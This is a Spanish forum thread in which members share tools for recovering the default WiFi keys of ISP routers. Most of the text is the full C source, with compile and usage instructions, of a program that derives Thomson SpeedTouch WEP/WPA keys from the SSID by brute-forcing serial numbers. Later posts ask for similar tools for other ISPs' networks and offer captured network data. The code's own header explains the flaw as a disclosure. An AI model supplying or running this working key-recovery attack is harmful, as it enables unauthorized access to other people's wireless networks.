Seguridad Wireless - Wifi

Hola amigos, en breve os presentare a mi criatura  ;D Lo he llamado WIFI Decrypter por ponerle un nombre pero no es mas que la union de los codigos del jazztel decrypter, wlan decrypter, y decsagem. Todas esas opciones estan 100% funcionales en mi aplicacion y solo me gustaria de momento añadir un solo tipo mas y es el Speedtouch y con eso os la presentare a todos a ver que os parece.
Antes de nada decir que esta en C++builder y que va perfectamente en windows y esta probada en wifislax y ubuntu y backtrack y en todas va perfectamente.

yo creo que lo ha compilado paraa los ambos... aunque asi como lo dice no l odeja muy claro

Buenas:

Creo que el Speedtouch vale tambien para las THOMSONXXXX que sacan nuevas

Un saludo

ChimoC

P.D.: Yo no lo puedo asegurar puesto que no he auditado ninguna THOMSONXXXX ... aunque me han comentado que sí funciona

es para windows pero lo probe en wifislax y funciona porque se ve que wifislax trae de casa el wine y ademas solo uso funciones muy muy basicas de windows como MessageBoxA, o SellExecute. Yo simplemente lo meto en cualquier sitio con permiso de ejecucion y le doy a ejecutar con wine y arranca. Los diccionarios los crea en el directorio root.
Digamos que la vista de los botones no es igual que en windows porque no coge el manifiesto de windows que esta en los recursos del programa pero funcionar funciona de maravilla. En cuanto le meta el SpeedTouch lo pondre junto con los fuentes. ;)

PD: la d-link tambien esta.

¿Nadie puede pasarme los fuentes o el algoritmo del speedtouch ese? ¿cuantas claves como maximo muestra el programa ese del speedtouch?

/*

   **************************************************************************

   *                                                                        *

   * Default WEP/WPA key generation for Thomson series wireless routers     *

   *                                                                        *

   *   Date: March 15th 2008                                                *

   *   Author: Kevin Devine <wyse101@gmail.com>                             *

   *                                                                        *

   **************************************************************************



   AFAIK, this is a well known problem by some ISP.

   It is likely to affect any owner of a Thomson wireless router with

   default settings installed.



   **************************************************************************



   The format of a serial number:



   CP YY WW PP XXX (CC)



   And from what i can tell of the following serial number taken from

   router i received.



   CP 06 15 JT 109 (53)



   YY is the year produced.      ( 2006  ) ?

   WW is the week of year.       ( some week of April ) ?

   PP is the production code.    ( JT ) factory code?

   CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z)



   I can only guess that the XXX values represent the unit number



   **************************************************************************



   The key generation is simple enough.



   Take as example: "CP0615JT109 (53)"



   Remove the CC and PP values



     "CP0615109"



   Convert the XXX values to hexadecimal.



     "CP0615313039"



   Process with SHA-1



     742da831d2b657fa53d347301ec610e1ebf8a3d0



   The last 3 bytes are converted to 6 byte string, and appended to

   the word "SpeedTouch" which becomes the default SSID.



     "SpeedTouchF8A3D0"



   The first 5 bytes are converted to a 10 byte string which

   becomes the default WEP/WPA key.



    "742DA831D2"



   Thats it..

   **************************************************************************



   I was unable to determine if its possible to obtain the base serial

   number from the MAC, but it can't be ruled out.



   The method of recovery here using brute force attack of the

   default SSID octets, is pretty lame..but is enough for now.



   Theoretically, with 3 octets, no more than ~2 attempts are required

   before successfully accessing the router.



   When only 2 octets are provided, (example:BT Voyager/Home Hub routers)

   more potential keys are generated, with further required attempts -

   an average of 80.



   This still improves odds of an attacker gaining access

   to WPA protected routers - more so if an attacker can capture a WPA

   handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty.

   

   Obviously the problem is with implementation of key/ssid generation

   and not WPA itself.

   **************************************************************************

   

   The only solution _right now_ is to have customers either turn off wireless

   (if its not being used), or change the default settings.



   To compile, use:



     gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys

   

   Use OpenSSL SHA-1 for this to run faster..

   

   Example usage for ST585v6 router:

     

      SSID: "SpeedTouchF8A3D0":



   c:\stkeys -v -iF8A3D0



   Serial Number: CP0615**109 - potential key = 742DA831D2  <- this is the right one

   Serial Number: CP0621**AHJ - potential key = 00651124D9



   Found 2 potential keys.



*/



#include <stdio.h>

#include <getopt.h>



#include "sha1.h"



#define SHA1Init SHA1Reset

#define SHA1Update SHA1Input

#define SHA1Final SHA1Result

#define SHA1_CTX SHA1Context



typedef unsigned char u8;

typedef unsigned int u32;



const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

const u8 hexTable[]="0123456789ABCDEF";

      u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



#define SERIAL_LENGTH 12

#define MAX_SSID_OCTETS 6

#define DEFAULT_KEY_SIZE 5



#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])

#define hexlsb(x)(hexTable[ (x & 0x0f)])



void usage(char **argv) {



    fprintf(stdout,"\n\tUso: %s [ -i <ssid octets> ] [ -o <output file> ]\n"

                   "\n\t -i : Los octetos hexadecimales del SSID del router Thomson"

                   "\n\t -o : Especificar el fichero de salida para las posibles claves"

                   "\n\t -v : Imprime en pantalla las posibles claves encontradas\n\n",*argv);

                 

    exit(0);

}



/*

 * convert hexadecimal ssid string to binary

 * return 0 on error or binary length of string

 *

 */

u32 str2ssid(u8 ssid[],u8 *str) {



    u8 *p,*q = ssid;

    u32 len = strlen(str);



    if( (len % 2) || (len > MAX_SSID_OCTETS) )

      return(0);



    for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) {



      if(--len % 2) {

        *q = ((u8*)strchr(hexTable,*p++) - hexTable);

        *q <<= 4;

      }else {

        *q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);

      }

    }

    return( (len) ? 0 : (p - str) / 2);

}



/*

 * print 5 bytes to output file

 *

 */

void dump_key(FILE *out, u8 *key) {

 

    u32 i;

    u8 *p = key;



    for(i = 0;i < DEFAULT_KEY_SIZE;i++)

      fprintf(out,"%.2X",*p++);



    fprintf(out,"\n");

}



int main(int argc, char **argv) {



    u8 sha1_digest[40]={0};

    u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;

    u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;

    u8 *p,*q,*strId = NULL;

    FILE *ofile = NULL;



    SHA1_CTX sha1_ctx;



    if(argc > 1) {

      while( (opt = getopt(argc, argv,"vo:i:")) != -1) {



        switch(opt) {



          case 'i' :

            strId = optarg;

            break;



          case 'o' :

            if((ofile = fopen(optarg,"wb")) == NULL) {

              fprintf(stderr,"\nNo puedo abrir %s para la salida.\n",optarg);

              return(0);

            }

            break;



          case 'v' :

            verbose++;

            break;



          default:

            usage(argv);

        }

      }



      if(!strId) usage(argv);



      if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);



      fprintf(stdout,"\nGenerando claves... por favor espera\n\n");



        // generate values only for 2005/2007..change if you want.



        for(year = 5;year <= 7;year++) {



          serial[3] = year | '0';



          // 52 weeks of the year



          for(week = 1;week <= 52;week++) {

           

            serial[4] = (week / 10) + '0';

            serial[5] = (week % 10) + '0';



            for(x1 = 0;x1 < 36;x1++) {



              serial[6] = hexmsb(charTable[x1]);

              serial[7] = hexlsb(charTable[x1]);



              for(x2 = 0;x2 < 36;x2++) {



                serial[8] = hexmsb(charTable[x2]);

                serial[9] = hexlsb(charTable[x2]);



                for(x3 = 0;x3 < 36;x3++) {



                  serial[10] = hexmsb(charTable[x3]);

                  serial[11] = hexlsb(charTable[x3]);



                  // hash serial number with sha-1



                  SHA1Init(&sha1_ctx);

                  SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH);

                  SHA1Final(&sha1_ctx,sha1_digest);



                  // compare SSID octets with last number of bytes supplied



                  if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {



                    keys++;



                    if(verbose) {



                      memcpy(buf,serial,6);



                      fprintf(stdout,

                              "Número de Serie: %s**%C%C%C - posible clave = ",

                              buf,charTable[x1],charTable[x2],charTable[x3]);



                      dump_key(stdout,sha1_digest);

                    }

                    if(ofile) {

                      dump_key(ofile,sha1_digest);

                    }

                  }

                }

              }

            }

          }

        }

      fprintf(stdout,"\nResultado: %d posibles claves.\n\n",keys);



      if(ofile) fclose(ofile);

    }

    else {

        usage(argv);

    }

    return(0);

}

*********************************************************************************

 *                                                                               *

 * Generador de claves WEP/WPA preconfiguradas para Routers inalámbricos Thomson *

 *                                                                               *

 *    Fecha: 15 de Marzo de 2008                                                 *

 *    Autor: Kevin Devine <wyse101@gmail.com>                                    *

 *           --Traducción libre por Hrodgar--                                    *

 *                                                                               *

 *********************************************************************************



 Esto es un problema conocido para varios ISPs.

 Probablemente afecta a muchos de los usuarios de routers Thomson inalámbricos de

 varios modelos, que mantienen los parámetros de configuración por defecto.



 *********************************************************************************



 Para compilar el código, usar gcc:



   gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys

   

 Destacar que en el código se ha utilizado la implementación del algoritmo OpenSSL

 SHA-1, que es por lo que realiza el proceso bastante rápido.

   

 *********************************************************************************



 Opciones:



      Uso: ./stkeys [ -i <ssid octets> ] [ -o <output file> ]



       -i : Los octetos hexadecimales del SSID del router Thomson

       -o : Especificar el fichero de salida para las posibles claves

       -v : Imprime en pantalla las posibles claves encontradas

   

 *********************************************************************************

   

 Ejemplo de uso en un router Thomson modelo ST585v6 con ESSID "SpeedTouchF8A3D0":



 c:\stkeys -v -iF8A3D0



 Número de serie: CP0615**109 - posible clave = 742DA831D2

 Número de serie: CP0621**AHJ - posible clave = 00651124D9



 Resultado: 2 posibles claves.

 

 (En el ejemplo, la correcta es la obtenida en la primera opción)



 *********************************************************************************



 Mas información (en Ingles):



     http://h1.ripway.com/kevindevine/stech/index.html



 Foros de discusión del tema en español:



     http://foro.seguridadwireless.net/index.php/board,7.0.html



     http://foro.elhacker.net/index.php?board=48.0

 

solo como comentario constructivo, podrías hacerlo siguiendo los estándares, usar librerías portables para la parte gráfica, y así lo tendrías multiplataforma, pudiendo compilarlo con optimizaciones para cada sistema y sin necesidad de usar wine.

precisamente que lo que usas es todo practicamente de c++ builder, no es portable, ya que aunque tú estes usando pocas apis de windows, c++ builder usa muchisimas de ellas. Puedes usar wxWidget o GTK+ para la parte gráfica que son librerías portables, y hacer el código de tu programa multiplataforma, mucho más portable. Si mal no recuerdo, con wxDev-Cpp, puedes hacer "lo mismo" que con c++ builder usando las librerías portables.

Y para ONOXXXX ay algun programa ¿¿?

Dudux perdona q no venga al caso, pero lde las redes VodafoneXXXX estás buscando patrón?? yo tengo una por si te interesa. Te la mando en un privado?

Saludos ;)

si que funciona